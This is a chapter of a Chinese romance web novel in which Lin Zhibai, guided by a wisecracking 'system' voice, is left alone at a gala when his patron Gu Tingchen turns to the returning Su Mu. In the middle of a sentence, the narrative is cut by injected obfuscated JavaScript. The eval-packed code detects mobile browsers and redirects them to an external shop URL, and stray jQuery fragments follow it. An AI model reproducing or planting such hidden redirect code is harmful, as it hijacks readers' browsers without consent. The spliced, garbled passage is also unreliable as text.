黑色轿车在暮色中平稳行驶。
林知白坐在后座，西装革履，头发被造型师抓出精致的弧度，整个人像橱窗里的展示品。他偏头看着窗外，霓虹灯一盏接一盏掠过，在他脸上投下忽明忽暗的光影。
“紧张吗？”顾霆琛的声音从旁边传来。
“不紧张。”
“参加过这种场合吗？”
“没有。”
顾霆琛沉默了两秒：“待会跟着我就行，不用说话。”
林知白收回目光，转头看他：“怕我给你丢人？”
顾霆琛皱眉：“我不是这个意思。”
“开玩笑的。”林知白笑了笑，又看向窗外。
车里安静下来，只剩下发动机的低鸣。
“宿主，你刚才那个笑好假哦。”小污的声音在脑海里响起，“假到本系统都替你尴尬。”
“闭嘴。”
“本系统只是客观陈述——你的微表情数据显示，刚才那个笑容只有嘴角在动，眼睛完全没有参与，属于典型的‘被迫营业式假笑’。”
“那你知不知道有个词叫‘你真的很吵’？”
“知道啊，但本系统选择无视。”
林知白默默翻了个白眼。
车子在一家五星级酒店门口停下，门童上前拉开车门。林知白刚下车，就听见闪光灯的声音——门口蹲着几个娱乐记者，正对着他们疯狂拍照。
顾霆琛绕过来，手臂自然地环上他的腰。
林知白身体僵了一下，但没有躲开。
“笑一个。”顾霆琛低头在他耳边说，声音很轻。
林知白对着镜头露出标准的微笑。
小污实时播报：“宿主，你现在的表情像是被绑架了但不敢求救的人质。”
“你能不能挑个合适的时机吐槽？”
“本系统不分时机，随时随地为您服务。”
走进宴会厅，林知白才意识到这场晚宴的规模有多大。水晶吊灯从三层楼高的穹顶垂下，把整个大厅照得金碧辉煌。长条餐桌上摆满了精致的食物和鲜花，穿着华服的男男女女三五成群，觥筹交错。
“顾总来了！”
几个人立刻围上来，有男有女，脸上都带着商业化的笑容。顾霆琛瞬间切换成社交模式，握手、寒暄、介绍，一气呵成。
“这位是......新朋友？”有人看向林知白，眼神里带着探究。
“林知白。”顾霆琛只说了名字，没介绍身份。
但那种探究的眼神更浓了。
林知白站在旁边，保持着礼貌的微笑，感觉自己像个展览品。
“宿主，左边那个穿红裙子的女人在打量你，根据她的微表情分析，她在估算你的价格。”
“......什么叫估算我的价格？”
“就是——你是顾霆琛包养的，还是准备包养的，还是已经包养完了的。”
“你能不能说点好听的？”
“能啊，她可能是在想你的衣服在哪里买的。”
“......”
又有几个人围过来，话题从投资聊到房地产，从房地产聊到某个他们共同认识的“老王”。林知白听不懂，也不需要听懂，他只需要站在那里，保持微笑，当一个合格的花瓶。
“顾总！”一个响亮的声音传来，人群自动让开一条路。
走过来的是一个中年男人，啤酒肚，油光满面的脸，笑起来眼睛眯成一条缝。
林知白的笑容凝固了。
赵总。
那个饭局上的赵总。
赵总也看见了他，眼睛亮了一下：“哟，这不是小林吗？顾总舍得带出来了？”
顾霆琛的身体微微绷紧，手臂不着痕迹地把林知白往身后带了带：“赵总，好久不见。”
“是好久不见了，上次饭局之后就没见着。”赵总笑眯眯地看着林知白，“小林那天走得急，我还没来得及跟你喝两杯呢。”
林知白感觉到顾霆琛手臂上的肌肉绷得更紧了。
“赵总。”顾霆琛的声音沉了几分，“那天的事——”
“哎呀，我开玩笑的！”赵总突然大笑起来，拍了拍顾霆琛的肩膀，“顾总别紧张，我知道，你的人嘛，动不得。那天是我喝多了，别往心里去。”
林知白垂下眼睫，看不清表情。
“宿主宿主！”小污突然兴奋起来，“快看门口！快看门口！有大瓜！”
林知白下意识抬头——
门口的光影里，站着一个人。
白色的西装，清瘦的身形，白皙的皮肤在灯光下近乎透明。他站在那里，像一幅画，和周围的一切都隔着一层看不见的距离。
那张脸。
林知白在镜子里见过无数次的脸。
苏沐。
时间仿佛在这一刻静止了。
林知白看见顾霆琛的身体猛地僵住，看见他转过头，看见他瞳孔里倒映出那个人的身影。那一瞬间，他搂在自己腰上的手松开了。
松开得那么自然，那么毫不犹豫。
像放下一件无关紧要的东西。
“抱歉。”顾霆琛说了这两个字，然后迈步向前走去。
林知白站在原地，看着他的背影穿过人群，一步一步走向那个白西装的男人。他的脚步很快，快到有些失态，快到忘记了自己身后还站着一个人。
苏沐也看见了他，嘴角慢慢弯起，露出一个笑容。
然后他们终于走到了一起，在相隔三米的地方停住，对视。
顾霆琛抬起手——
林知白没有再看下去。
他转身，走向旁边的露台。
身后传来小污的声音，少见的安静：“宿主......”
“我没事。”林知白推开露台的玻璃门，夜风扑面而来，带着九月特有的凉意。
露台上没有人，只有几盆绿植和一排藤椅。他走到栏杆边，双手撑在冰凉的大理石上，看着城市的夜景。
万家灯火。
每一盏灯后面都有一个故事。
只有他站在黑暗里。
“宿主，你的心率......”小污的声音很轻。
“我知道。”
“你想哭吗？想哭就哭吧，本系统可以把湿度传感器关掉。”
林知白没说话，只是看着远处。
身后传来玻璃门推开的声音。
脚步声，很轻，很慢，然后停在他身后不远处。
“林知白？”
一个陌生的声音，温和，清冽，带着一点点南方口音。
林知白转过身。
苏沐站在月光里，白色的西装泛着淡淡的光。他比照片上看起来更瘦，脸色有些苍白，但眼睛很亮，像盛着星星。
“你怎么一个人在这儿？”苏沐走近几步，在他身边停下，也扶着栏杆看向远处，“外面凉，小心感冒。”
林知白看着他，没有说话。
苏沐偏过头，对上他的目光，笑了：“吓到了？不好意思，我是不是太突然了？”
“没有。”林知白终于开口，声音比想象中平静，“你是......苏沐？”
“你认识我？”苏沐有些惊讶，然后像是想到什么，笑容淡了一点，“也是，他应该跟你说过我吧。”
林知白没回答。
苏沐转过头，看着远处的灯火，声音很轻：“对不起。”
林知白愣了一下：“什么？”
“对不起。”苏沐重复了一遍，“我没想到他会......找一个人，找一张和我一样的脸。这不公平，对你。”
林知白没有说话。
“我刚下飞机就过来了，想给他一个惊喜。”苏沐笑了笑，笑容里有一点苦涩，“没想到，他也给了我一个惊喜。”
夜风吹过，带起他额前的碎发。
“你恨我吗？”苏沐突然问。
林知白看着他，那张和自己一模一样的脸。一样的眉眼，一样的轮廓，连笑起来嘴角的弧度都那么像。
“不恨。”他说。
苏沐转过头，对上他的眼睛。
“你恨他吗？”
林知白沉默了几秒，然后笑了。
这一次，他的眼睛弯起来，是真的在笑：“你觉得呢？”
苏沐看着他，眼神复杂。
“他刚才走向我的时候，没有回头看你一眼。”苏沐说，语气很轻，像是在陈述一个事实，又像是在提醒什么，“你站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432107|200930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在那里，他忘了。”
林知白点点头：“我知道。”
“你知道？”
“我看见了。”
苏沐沉默了一会儿：“那你为什么还笑？”
林知白没有回答。
他转过身，重新看向远处的夜景。
万家灯火依旧。
“因为我答应过他。”他说，声音很轻，被风吹散在夜空里，“今天可以不笑的。”
苏沐愣住了。
身后，玻璃门再次被推开。
急促的脚步声。
“苏沐。”顾霆琛的声音，带着一点喘，“你怎么跑这儿来了？”
苏沐转过头，对他笑了笑：“出来透透气，正好遇见......这位是？”
顾霆琛的目光落在林知白身上，顿了一下。
只是一下。
然后他移开视线，重新看向苏沐：“走吧，里面有人想见你。”
“好。”苏沐点点头，走了两步又停下来，回头看向林知白，“一起进去吗？”
林知白转过身，脸上是得体的笑容：“你们先去吧，我再待会儿。”
苏沐看了他几秒，点点头，跟着顾霆琛往玻璃门走去。
顾霆琛经过林知白身边的时候，脚步顿了一下。
他偏过头，嘴唇动了动，像是想说什么。
但最终什么都没说。
玻璃门在两人身后合上。
林知白独自站在露台上，夜风把他的头发吹乱。他抬起手，把被风吹到眼前的碎发拢到耳后，动作很慢，很轻。
“宿主。”小污的声音响起来，“你刚才说‘今天可以不笑的’，是什么意思？”
林知白没有回答。
“是顾霆琛说的吗？他什么时候说的？”
“不重要。”
“可是——”
“小污。”林知白打断它，“你知道我刚才看见什么了吗？”
“什么？”
“我看见他走向苏沐的时候，脚步是跑的。”林知白的声音很平静，“一个三十五岁的男人，在公共场合，跑向一个人。”
小污沉默了。
“他从来没为我跑过。”
林知白低下头，看着自己的手。月光下，那双手干净、修长，指甲被造型师修剪得整整齐齐。
“不过他喂过我吃药，给我盖过被子，发过菜单让我选菜，说过‘早点回来’。”他笑了笑，“也算值了吧。”
小污沉默了很久。
然后它开口，声音难得地正经：“宿主，你觉不觉得，你刚才说这些话的时候，像在写遗书？”
林知白愣了一下，然后笑了。
笑得很大声，笑到眼角有一点湿润。
“可能是吧。”他说，抬头看着夜空，“写给那个叫林知白的，死掉的自己。”
露台外，宴会厅里灯火通明，觥筹交错。
顾霆琛站在人群中央，身边是苏沐。两个人靠得很近，像是从未分开过。
林知白透过玻璃门看着这一幕，然后收回目光。
他靠在栏杆上，仰起头。
夜风把他的头发吹得更乱了。
“小污。”
“嗯？”
“你说，等八个世界结束，我回到现实，还会记得现在这种感觉吗？”
“什么感觉？”
“就是——心脏明明在跳，但觉得自己已经死了的感觉。”
小污没有回答。
很久之后，它的声音才再次响起，很轻：
“宿主，本系统的湿度传感器好像坏了。”
“嗯？”
“一直在报警。”
林知白愣了一下，然后慢慢弯起嘴角。
这一次，他没有笑。
林知白在露台上站了很久才回到宴会厅。
苏沐正被一群人围着，顾霆琛站在他身边，寸步不离。
林知白找了个角落坐下，安静地喝着香槟。
直到一个人在他对面坐下。
是赵总。
“小林，一个人？”赵总笑眯眯地看着他，“顾总呢？哦对，在白月光那儿。”
林知白握着酒杯的手，收紧了一点。